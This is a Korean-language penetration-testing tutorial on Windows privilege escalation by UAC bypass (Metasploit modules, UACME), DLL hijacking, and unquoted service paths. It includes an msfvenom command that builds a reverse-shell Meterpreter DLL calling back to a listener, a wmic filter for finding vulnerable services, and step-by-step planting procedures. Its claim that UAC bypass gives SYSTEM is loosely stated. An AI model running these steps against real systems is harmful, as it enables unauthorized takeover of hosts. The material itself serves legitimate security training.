개요
침투 테스트 및 리버스 엔지니어링 과정에서 초기 접근 후 수행할 수 있는 가장 중요한 단계 중 하나는 권한 상승(Privilege Escalation)이다. 특히 Windows 환경에서는 다양한 보안 메커니즘과 구성 오류를 활용해 로컬 사용자 계정에서 SYSTEM 권한까지 확보할 수 있다. 본 문서에서는 대표적인 세 가지 기법 — UAC 우회, DLL 훼손(DLL Hijacking), 인용 부호가 없는 서비스 경로(Quoteless Service Path) — 를 중심으로 실전 적용 방법을 설명한다.
권한 상승의 중요성
초기 침투 후 획득한 권한은 일반적으로 제한적이며, 시스템 전반에 대한 제어나 지속적 접근(Persistence)에는 부족하다. 따라서 다음과 같은 고위험 작업을 수행하기 위해선 더 높은 권한이 필요하다:
- 시스템 전체 파일 접근
- 레지스트리 수정 및 서비스 조작
- 방화벽 규칙 변경
- 다른 사용자 세션 탈취
- 내부 네트워크 이동(Lateral Movement)
주요 권한 유형
| 권한 유형 | 획득 방법 | 활용 가능성 |
|---|---|---|
| 웹 애플리케이션 권한 | RCE, 파일 업로드, SQLi 등 | 서버 파일 시스템 접근, 설정 정보 추출 |
| 로컬 사용자 권한 | 피싱, 자격 증명 누수, 약한 비밀번호 | 기본 프로세스 실행, 로컬 정보 수집 |
| SYSTEM 권한 | 취약점 이용, 서비스 조작 | 전체 시스템 제어, 계정 생성, 로깅 회피 |
| 도메인 컨트롤러 권한 | 내부 이동, Kerberoasting, DCSync | 도메인 전체 관리, 정책 변경 |
UAC 우회를 통한 권한 상승
User Account Control(UAC)는 Windows Vista 이후 도입된 보안 기능으로, 관리자 권한 작업 시 사용자 확인을 요구한다. 그러나 일부 예외적인 경우, 특수한 Bypass 기법을 통해 인터랙션 없이 SYSTEM 권한을 획득할 수 있다.
Metasploit 프레임워크를 이용한 UAC 우회
Metasploit은 여러 UAC 우회 모듈을 제공하며, 타겟 시스템 버전에 따라 적절한 모듈을 선택해야 한다.
use exploit/windows/local/bypassuac set SESSION [session-id] set LHOST [your-ip] run
신규 Windows 10/11 환경에서는 다음 모듈이 효과적이다:
bypassuac_sluihijack: slui.exe 프로세스를 악용bypassuac_silentcleanup: Scheduled Task 'SilentCleanup'를 이용
UACME 프로젝트 활용
UACME는 알려진 UAC 우회 기법을 총망라한 오픈소스 도구이다. 각각의 공격 기법은 숫자 ID로 식별되며, Akagi64.exe를 통해 직접 호출 가능하다.
Akagi64.exe 30 C:\temp\payload.exe
여기서 30은 특정 취약한 AutoElevate 엔트리를 의미하며, payload.exe는 관리자 권한으로 실행된다.
DLL 훼손(DLL Hijacking)을 통한 권한 상승
Windows는 애플리케이션이 필요한 DLL을 특정 순서로 탐색한다. 이 탐색 경로 중 신뢰할 수 없는 위치(예: 응용프로그램 디렉터리 또는 현재 작업 디렉터리)에 악성 DLL을 배치하면 코드 실행이 가능하다.
DLL 탐색 순서
- 실행 파일과 동일한 디렉터리
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- 현재 작업 디렉터리(CWD)
- PATH 환경 변수에 등록된 디렉터리
공격 절차
- 정보 수집: 실행 중인 프로세스와 로드되지 않은 DLL 식별
- 분석 도구 활용:
- ChkDllHijack: 잠재적 훼손 가능한 프로세스 스캔
- 火绒剑(Huorong Jian): 실시간 API 모니터링을 통한 DLL 로드 추적
- 악성 DLL 생성:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 \
LPORT=4444 \
-f dll \
-o malicious.dll
- 타겟 애플리케이션 디렉터리에 DLL 삽입 (예: FlashFXP 설치 폴더)
- 관리자가 해당 프로그램 실행 시 Meterpreter 세션 획득
인용 부호 없는 서비스 경로 공격
Windows 서비스는 실행 경로에 공백이 포함되고 전체 경로가 따옴표로 묶여 있지 않으면, 시스템이 잘못 해석하여 예기치 않은 실행을 유발할 수 있다. 이를 통해 권한 상승이 가능하다.
공격 원리 예시
서비스 실행 경로가 다음과 같다고 가정하자:
C:\Program Files\My App\service.exe
이 경로는 따옴표로 감싸져 있지 않으므로, Windows는 다음과 같이 해석할 수 있다:
C:\Program.exe (존재하지 않음) C:\Program Files\My.exe (존재하지 않음) C:\Program Files\My App\service.exe
따라서 공격자는 C:\Program.exe 또는 C:\Program Files\My.exe를 업로드하면 SYSTEM 권한으로 실행될 수 있다.
취약한 서비스 탐지
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /v "C:\\Windows\\" | findstr /v """
이 명령어는 자동 시작되며, Windows 시스템 경로 외부에 있고, 실행 경로에 따옴표가 없는 서비스를 필터링한다.
실제 공격 절차
- 탐지된 서비스의 경로 분석 (예:
C:\Third Party\App\app.exe) - 악성 실행 파일 생성 및 이름 지정 (
C:\Third.exe또는C:\Third Party\App.exe) - 파일을 대상 시스템에 업로드
- 서비스 재시작 또는 시스템 재부팅 대기
- SERVICE 권한으로 실행되어 Meterpreter 세션 획득
결론
Windows 환경에서의 권한 상승은 단순한 취약점 이용을 넘어, 운영 체제의 설계 특성과 관리자의 구성 실수를 결합하여 이루어진다. UAC 우회, DLL 훼손, 인용 부호 없는 서비스 경로는 모두 사소해 보일 수 있으나, 적절한 정보 수집과 도구 활용을 통해 매우 효과적인 침투 경로가 될 수 있다. 보안 관리자는 이러한 패턴을 인식하고 사전에 방어 조치를 마련해야 한다.